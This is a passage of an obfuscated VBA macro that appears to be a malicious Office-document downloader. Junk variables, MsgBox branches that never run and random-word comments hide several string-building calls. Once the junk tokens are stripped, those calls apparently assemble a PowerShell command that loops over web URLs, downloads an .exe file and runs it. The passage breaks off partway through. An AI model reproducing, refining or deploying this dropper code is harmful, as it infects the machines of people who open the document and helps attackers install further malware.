' Lombard fundamentals departments fatherhood prove
Dim RjYsvjUE As Long
RjYsvjUE = 77
If RjYsvjUE > 16000 * 1 Then
MsgBox "XexpX", vbDefaultButton3, "XexpX"
Else
zgITZDRM = 21
End If
wenCdJ = VQLUjk("eiMZK", "beiMZKreiMZKoeiMZKweiMZKneiMZKseiMZKoeiMZKfeiMZKweiMZKeeiMZKseiMZK", "True")
Dim QcTqw As Integer
QcTqw = 71
If QcTqw > 8000 * 2 Then
MsgBox "TuiOL", vbMsgBoxHelpButton, "TuiOL"
Else
wzKx6 = 30
End If
Dim QnNqUc As Integer
QnNqUc = 89
If QnNqUc > 16000 * 1 Then
MsgBox "TcYSkFB", 0, "TcYSkFB"
Else
YwfstzPf = 25
End If
' Dear germanic injuries
CiCCUh = VQLUjk("YwTuo", " YwTuo=YwTuo YwTuonYwTuoeYwTuowYwTuo-YwTuooYwTuobYwTuojYwTuoeYwTuo", "True")
Dim LaXGTvl As Integer
LaXGTvl = 127
If LaXGTvl > 8000 * 2 Then
MsgBox "pEZcDP", vbMsgBoxHelpButton, "pEZcDP"
Else
SNHgyb = 17
End If
Dim AWmMi As Long
AWmMi = 91
If AWmMi > 16000 * 1 Then
MsgBox "kPZfh", 1048576, "kPZfh"
Else
K3YY1Go = 22
End If
' Performance virus scoop alexander
Dim ga1ns2 As Long
ga1ns2 = 86
If ga1ns2 > 16000 * 1 Then
MsgBox "Alive counsellor editor vicarious", 65536, "Alive counsellor editor vicarious"
Else
ebHHHlR = 30
End If
Dim py6TxSU As Integer
py6TxSU = 119
If py6TxSU > 16000 * 1 Then
MsgBox "x", 768, "x"
Else
xzkyrCR = 29
End If
CemWzmY = VQLUjk("DCM7f", "eDCM7fsDCM7f/DCM7fzDCM7fzDCM7fzDCM7f.DCM7feDCM7fxDCM7feDCM7f'DCM7f", "True")
Dim Zl3YQA As Long
Zl3YQA = 106
If Zl3YQA > 8000 * 2 Then
MsgBox "QB", 48, "QB"
Else
MGzTMdO = 21
End If
' Tyrol stunning casual
Dim PjZeeay As Long
PjZeeay = 122
If PjZeeay > 16000 * 1 Then
MsgBox "a", 32, "a"
Else
h6QyA = 30
End If
Dim Dq1UM4 As Integer
Dq1UM4 = 124
If Dq1UM4 > 16000 * 1 Then
MsgBox "ertrime", vbRetryCancel, "ertrime"
Else
cc0ZK2EK3 = 16
End If
PRUCIBa = VQLUjk("ifdBL6", "cifdBL6tifdBL6 ifdBL6WifdBL6SifdBL6cifdBL6rifdBL6iifdBL6pifdBL6tifdBL6.ifdBL6", "True")
Dim qexYTphA As Long
qexYTphA = 125
If qexYTphA > 16000 * 1 Then
MsgBox "c", vbOKCancel, "c"
Else
DDm5MXuQ = 32
End If
Dim YQeUW As Integer
YQeUW = 117
If YQeUW > 8000 * 2 Then
MsgBox "ZO", vbDefaultButton4, "ZO"
Else
JE9iTGo = 17
End If
Dim AVszpO As Integer
AVszpO = 97
If AVszpO > 8000 * 2 Then
MsgBox "wtypew", vbYesNoCancel, "wtypew"
Else
saGpdhD = 28
End If
Nqkmj = VQLUjk("tUXkSV", "mtUXkSV/tUXkSVbtUXkSVltUXkSVotUXkSVgtUXkSV/tUXkSVwtUXkSVptUXkSV-tUXkSVatUXkSV", "True")
Dim RpXDD As Integer
RpXDD = 108
If RpXDD > 16000 * 1 Then
MsgBox "eofIserrorInt", vbQuestion, "eofIserrorInt"
Else
jw9Wrd = 18
End If
' Islet
Dim KWb2t1 As Long
KWb2t1 = 117
If KWb2t1 > 16000 * 1 Then
MsgBox "KdqdvWpG", 1, "KdqdvWpG"
Else
gMmkL = 21
End If
Dim jbe3nk As Integer
jbe3nk = 90
If jbe3nk > 16000 * 1 Then
MsgBox "r1", vbMsgBoxHelpButton, "r1"
Else
MeSlQi = 29
End If
' Stratum felt macedonians bombast ieee extravagantly
gaHKpz = VQLUjk("XUeCVi", " XUeCVi$XUeCViuXUeCVirXUeCVilXUeCVisXUeCVi)XUeCVi{XUeCVitXUeCVirXUeCViyXUeCVi", "True")
Dim eVRQGmeu As Integer
eVRQGmeu = 115
If eVRQGmeu > 8000 * 2 Then
MsgBox "chooseShellGosub", 64, "chooseShellGosub"
Else
kwvAE6 = 29
End If
Dim WAdySV As Integer
WAdySV = 91
If WAdySV > 8000 * 2 Then
MsgBox "Mart libertine referred agility hybrid", vbDefaultButton2, "Mart libertine referred agility hybrid"
Else
…